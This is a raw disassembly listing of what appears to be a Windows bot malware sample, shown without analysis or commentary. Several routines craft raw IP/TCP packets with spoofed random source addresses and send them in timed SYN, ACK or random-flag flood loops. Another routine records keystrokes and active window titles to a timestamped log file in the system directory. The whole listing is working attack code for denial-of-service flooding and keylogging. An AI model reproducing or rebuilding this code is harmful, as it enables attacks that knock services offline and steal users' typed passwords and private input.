lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412BD1
add esp, 14h
loc_401539: ; CODE XREF: sub_401444+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_40B078
push [ebp+var_38]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_401556: ; CODE XREF: sub_401444+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_43C594
cmp eax, 0FFFFFFFFh
jnz short loc_4015BD
lea eax, [ebp+var_3BC]
push offset unk_4231B4
push eax
call sub_415316
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_4015A0
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412BD1
add esp, 14h
loc_4015A0: ; CODE XREF: sub_401444+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_40B078
push [ebp+var_38]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_4015BD: ; CODE XREF: sub_401444+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_43C554
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_43C594
mov esi, dword_42104C
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
jmp loc_40171E
; ---------------------------------------------------------------------------
loc_401600: ; CODE XREF: sub_401444+2EBj
push 41Ch
mov byte_43AD68, 45h
call dword_43C554
cmp [ebp+var_2C], edi
mov word_43AD6A, ax
mov word_43AD6C, bx
mov word_43AD6E, di
mov byte_43AD70, 80h
mov byte_43AD71, bl
mov word_43AD72, di
jz short loc_40166F
call sub_415372
mov ebx, eax
shl ebx, 8
call sub_415372
add ebx, eax
shl ebx, 8
call sub_415372
add ebx, eax
shl ebx, 8
call sub_415372
add ebx, eax
mov dword_43AD74, ebx
xor ebx, ebx
inc ebx
jmp short loc_401687
; ---------------------------------------------------------------------------
loc_40166F: ; CODE XREF: sub_401444+1F9j
push [ebp+var_1BC]
call sub_40A08A
pop ecx
push eax
call dword_43C594
mov dword_43AD74, eax
loc_401687: ; CODE XREF: sub_401444+229j
mov eax, [ebp+var_18]
mov dword_43AD78, eax
call sub_415372
cdq
mov ecx, 100h
idiv ecx
mov byte_43AD7C, dl
call sub_415372
cdq
mov ecx, 100h
idiv ecx
mov byte_43AD7D, dl
call sub_415372
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_43AD7E, di
mov word_43AD82, bx
inc edx
mov word_43AD80, dx
call sub_415372
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_43AD84
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_43AD68
push [ebp+var_4]
call dword_43C5B8
cmp eax, 0FFFFFFFFh
jz loc_4017BA
inc [ebp+arg_0]
loc_40171E: ; CODE XREF: sub_401444+1B7j
call esi ; GetTickCount
sub eax, [ebp+var_8]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+var_30]
jbe loc_401600
push [ebp+var_4]
call dword_43C5EC
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_423150
push eax
call sub_415316
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_40179D
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412BD1
add esp, 14h
loc_40179D: ; CODE XREF: sub_401444+337j
lea eax, [ebp+var_3BC]
push eax
call sub_40B078
push [ebp+var_38]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_4017BA: ; CODE XREF: sub_401444+2D1j
push [ebp+var_4]
call dword_43C5EC
call dword_43C4E8
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_4230E8
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_41588A
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_401812
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412BD1
add esp, 14h
loc_401812: ; CODE XREF: sub_401444+3ACj
lea eax, [ebp+var_3BC]
push eax
call sub_40B078
push [ebp+var_38]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
sub_401444 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40182F proc near ; DATA XREF: sub_40CD3A+372Do
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401B7C
push eax
lea eax, [ebp+var_414]
push offset dword_423280
push eax
call sub_415316
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4018AC
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_412BD1
add esp, 14h
loc_4018AC: ; CODE XREF: sub_40182F+5Bj
lea eax, [ebp+var_414]
push eax
call sub_40B078
push [ebp+var_10]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_40182F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018CB proc near ; CODE XREF: sub_401B7C+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43C4CC
test eax, eax
jz short loc_40190B
xor eax, eax
jmp loc_401B4F
; ---------------------------------------------------------------------------
loc_40190B: ; CODE XREF: sub_4018CB+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43C5F8
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_401B47
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_43C534
cmp eax, 0FFFFFFFFh
jz loc_401B3D
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_43C554
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_43C554
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_43C554
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_43C554
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call dword_421054 ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call dword_421050 ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_4157C0
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_4019F6: ; CODE XREF: sub_4018CB+25Dj
; sub_4018CB+269j
mov [ebp+var_24], bx
call sub_415372
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43C554
mov [ebp+var_34], ax
call sub_415372
mov edi, eax
shl edi, 10h
call sub_415372
or edi, eax
push edi
call dword_43C554
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43C550
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43C554
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4153F0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_4153F0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40A0E3
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4153F0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_415390
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40A0E3
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4153F0
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_43C5B8
cmp eax, 0FFFFFFFFh
jz short loc_401B53
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call dword_421050 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_401B3A
jl loc_4019F6
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jb loc_4019F6
loc_401B3A: ; CODE XREF: sub_4018CB+25Bj
mov ebx, [ebp+arg_8]
loc_401B3D: ; CODE XREF: sub_4018CB+78j
; sub_4018CB+2AFj
push [ebp+var_C]
call dword_43C5EC
pop esi
loc_401B47: ; CODE XREF: sub_4018CB+5Bj
call dword_43C4B4
mov eax, ebx
loc_401B4F: ; CODE XREF: sub_4018CB+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401B53: ; CODE XREF: sub_4018CB+247j
call dword_43C4E8
push eax
lea eax, [ebp+var_F4]
push offset dword_4232BC
push eax
call sub_415316
lea eax, [ebp+var_F4]
push eax
call sub_40B078
add esp, 10h
jmp short loc_401B3D
sub_4018CB endp
; =============== S U B R O U T I N E =======================================
sub_401B7C proc near ; CODE XREF: sub_40182F+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_409F7A
push [esp+10h+arg_4]
mov esi, eax
call sub_41587F
push [esp+14h+arg_8]
mov ebx, eax
call sub_41587F
mov edi, eax
call sub_415372
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4018CB
add esp, 1Ch
test eax, eax
jnz short loc_401BC5
inc eax
loc_401BC5: ; CODE XREF: sub_401B7C+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_401B7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401BD4 proc near ; DATA XREF: sub_40CD3A+2B63o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
xor esi, esi
push 0Eh
inc esi
xor ebx, ebx
mov [eax+19Ch], esi
pop ecx
xor eax, eax
lea edi, [ebp+var_9F]
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, dword_42104C
call edi ; GetTickCount
push eax
call sub_415368
pop ecx
push 0FFh
push 3
push 2
call dword_43C5D4
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_401C9D
call dword_43C4E8
push eax
lea eax, [ebp+var_440]
push offset dword_423450
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401C7D
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412BD1
add esp, 14h
loc_401C7D: ; CODE XREF: sub_401BD4+84j
lea eax, [ebp+var_440]
push eax
call sub_40B078
push [ebp+var_BC]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_401C9D: ; CODE XREF: sub_401BD4+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_43C534
cmp eax, 0FFFFFFFFh
jnz short loc_401D1B
call dword_43C4E8
push eax
lea eax, [ebp+var_440]
push offset dword_423400
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401CFB
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412BD1
add esp, 14h
loc_401CFB: ; CODE XREF: sub_401BD4+102j
lea eax, [ebp+var_440]
push eax
call sub_40B078
push [ebp+var_BC]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_401D1B: ; CODE XREF: sub_401BD4+DFj
lea eax, [ebp+var_23C]
push eax
call dword_43C594
cmp eax, 0FFFFFFFFh
jnz short loc_401D8B
lea eax, [ebp+var_440]
push offset dword_4233CC
push eax
call sub_415316
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_401D6B
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412BD1
add esp, 14h
loc_401D6B: ; CODE XREF: sub_401BD4+172j
lea eax, [ebp+var_440]
push eax
call sub_40B078
push [ebp+var_BC]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_401D8B: ; CODE XREF: sub_401BD4+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_43C554
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_43C594
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
jmp loc_401FF3
; ---------------------------------------------------------------------------
loc_401DC8: ; CODE XREF: sub_401BD4+433j
push 28h
mov [ebp+var_2C], 45h
call dword_43C554
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_401E21
call sub_415372
mov esi, eax
shl esi, 8
call sub_415372
add esi, eax
shl esi, 8
call sub_415372
add esi, eax
shl esi, 8
call sub_415372
add esi, eax
mov [ebp+var_20], esi
xor esi, esi
inc esi
jmp short loc_401E37
; ---------------------------------------------------------------------------
loc_401E21: ; CODE XREF: sub_401BD4+21Ej
push [ebp+var_240]
call sub_40A08A
pop ecx
push eax
call dword_43C594
mov [ebp+var_20], eax
loc_401E37: ; CODE XREF: sub_401BD4+24Bj
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_401E55
call sub_415372
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_401E5B
; ---------------------------------------------------------------------------
loc_401E55: ; CODE XREF: sub_401BD4+26Fj
push [ebp+var_B8]
loc_401E5B: ; CODE XREF: sub_401BD4+27Fj
call dword_43C554
mov [ebp+var_16], ax
call sub_415372
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43C554
push 12345678h
mov [ebp+var_18], ax
call dword_43C550
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz short loc_401EAB
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_401F07
; ---------------------------------------------------------------------------
loc_401EAB: ; CODE XREF: sub_401BD4+2CCj
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz short loc_401ECB
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_401F07
; ---------------------------------------------------------------------------
loc_401ECB: ; CODE XREF: sub_401BD4+2ECj
lea eax, [ebp+var_1BC]
push offset aRandom ; "random"
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz short loc_401F07
call sub_415372
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_415372
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_401F07: ; CODE XREF: sub_401BD4+2D5j
; sub_401BD4+2F5j ...
push 200h
mov [ebp+var_C], 50h
call dword_43C554
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_43C554
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4153F0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_4153F0
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40A0E3
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4153F0
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_415390
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40A0E3
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4153F0
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_43C5B8
cmp eax, 0FFFFFFFFh
jz loc_40209E
inc [ebp+arg_0]
loc_401FF3: ; CODE XREF: sub_401BD4+1EFj
call edi ; GetTickCount
sub eax, [ebp+var_30]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+var_B4]
jbe loc_401DC8
push [ebp+var_4]
call dword_43C5EC
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset dword_423358
push eax
call sub_415316
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_40207E
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412BD1
add esp, 14h
loc_40207E: ; CODE XREF: sub_401BD4+485j
lea eax, [ebp+var_440]
push eax
call sub_40B078
push [ebp+var_BC]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_40209E: ; CODE XREF: sub_401BD4+416j
push [ebp+var_4]
call dword_43C5EC
call dword_43C4E8
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset dword_4232F0
lea eax, [ebp+var_440]
push 200h
push eax
call sub_41588A
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_4020FC
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412BD1
add esp, 14h
loc_4020FC: ; CODE XREF: sub_401BD4+503j
lea eax, [ebp+var_440]
push eax
call sub_40B078
push [ebp+var_BC]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_401BD4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40211C proc near ; CODE XREF: sub_4021FB+B4p
; sub_4021FB+247p
var_314 = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
loc_40211F: ; DATA XREF: seg001:off_42F47Co
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call dword_42105C ; GetLocalTime
lea eax, [ebp+var_114]
push 104h
push eax
call dword_421058 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push offset asc_423C48 ; "\\"
push eax
call sub_415A30
lea eax, [ebp+var_114]
push offset dword_42C2C8
push eax
call sub_415A30
lea eax, [ebp+var_114]
push offset aAb ; "ab"
push eax
call sub_415A08
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_402181
inc eax
jmp short loc_4021F8
; ---------------------------------------------------------------------------
loc_402181: ; CODE XREF: sub_40211C+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_4159B6
push esi
call sub_415960
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_4021F6
push [ebp+arg_0]
lea eax, [ebp+var_314]
push offset dword_423C04
push 200h
push eax
call sub_41588A
push 0
lea eax, [ebp+var_314]
push [ebp+arg_8C]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_4]
call sub_412BD1
add esp, 24h
loc_4021F6: ; CODE XREF: sub_40211C+A1j
xor eax, eax
loc_4021F8: ; CODE XREF: sub_40211C+63j
pop esi
leave
retn
sub_40211C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4021FB proc near ; DATA XREF: sub_40CD3A+1D95o
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_4DC = byte ptr -4DCh
var_2DD = byte ptr -2DDh
var_2DC = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call dword_43C4DC
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43C4F0
mov ebx, 200h
loc_402256: ; CODE XREF: sub_4021FB+2BBj
push 8
call dword_421060 ; Sleep
call dword_43C4DC
cmp eax, [ebp+var_8]
jz short loc_4022DE
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_43C4F0
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_4DC]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_415316
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_40211C
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_415390
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_415390
add esp, 0Ch
loc_4022DE: ; CODE XREF: sub_4021FB+6Cj
mov [ebp+arg_0], offset aB ; "b"
loc_4022E5: ; CODE XREF: sub_4021FB+2B1j
push 10h
call dword_43C434
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call dword_43C520
test ah, ah
jns short loc_40237C
push 14h
call dword_43C434
test ax, ax
jz short loc_40232D
cmp esi, 0FFFFFFFFh
jle short loc_40232D
cmp edi, 40h
jle short loc_40232D
cmp edi, 5Bh
jge short loc_40232D
mov [ebp+edi*4+var_8DC], 1
jmp loc_4024A1
; ---------------------------------------------------------------------------
loc_40232D: ; CODE XREF: sub_4021FB+111j
; sub_4021FB+116j ...
push 14h
call dword_43C434
test ax, ax
jz short loc_402358
test esi, esi
jge short loc_40236C
cmp edi, 40h
jle short loc_402358
cmp edi, 5Bh
jge short loc_402358
mov [ebp+edi*4+var_8DC], 2
jmp loc_4024A1
; ---------------------------------------------------------------------------
loc_402358: ; CODE XREF: sub_4021FB+13Dj
; sub_4021FB+146j ...
test esi, esi
jge short loc_40236C
mov [ebp+edi*4+var_8DC], 3
jmp loc_4024A1
; ---------------------------------------------------------------------------
loc_40236C: ; CODE XREF: sub_4021FB+141j
; sub_4021FB+15Fj
mov [ebp+edi*4+var_8DC], 4
jmp loc_4024A1
; ---------------------------------------------------------------------------
loc_40237C: ; CODE XREF: sub_4021FB+104j
lea eax, [ebp+edi*4+var_8DC]
mov esi, [eax]
test esi, esi
jz loc_4024A1
and dword ptr [eax], 0
lea eax, [ebp+var_2DC]
push eax
call sub_415B10
cmp edi, 8
pop ecx
jnz short loc_4023AF
and [ebp+eax+var_2DD], 0
jmp loc_4024A1
; ---------------------------------------------------------------------------
loc_4023AF: ; CODE XREF: sub_4021FB+1A5j
cmp eax, 1B9h
jbe short loc_4023DB
call dword_43C4DC
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43C4F0
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_40241C
; ---------------------------------------------------------------------------
loc_4023DB: ; CODE XREF: sub_4021FB+1B9j
cmp edi, 0Dh
jnz loc_402473
lea eax, [ebp+var_2DC]
push eax
call sub_415B10
test eax, eax
pop ecx
jz loc_4024A1
call dword_43C4DC
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call dword_43C4F0
lea eax, [ebp+var_48]
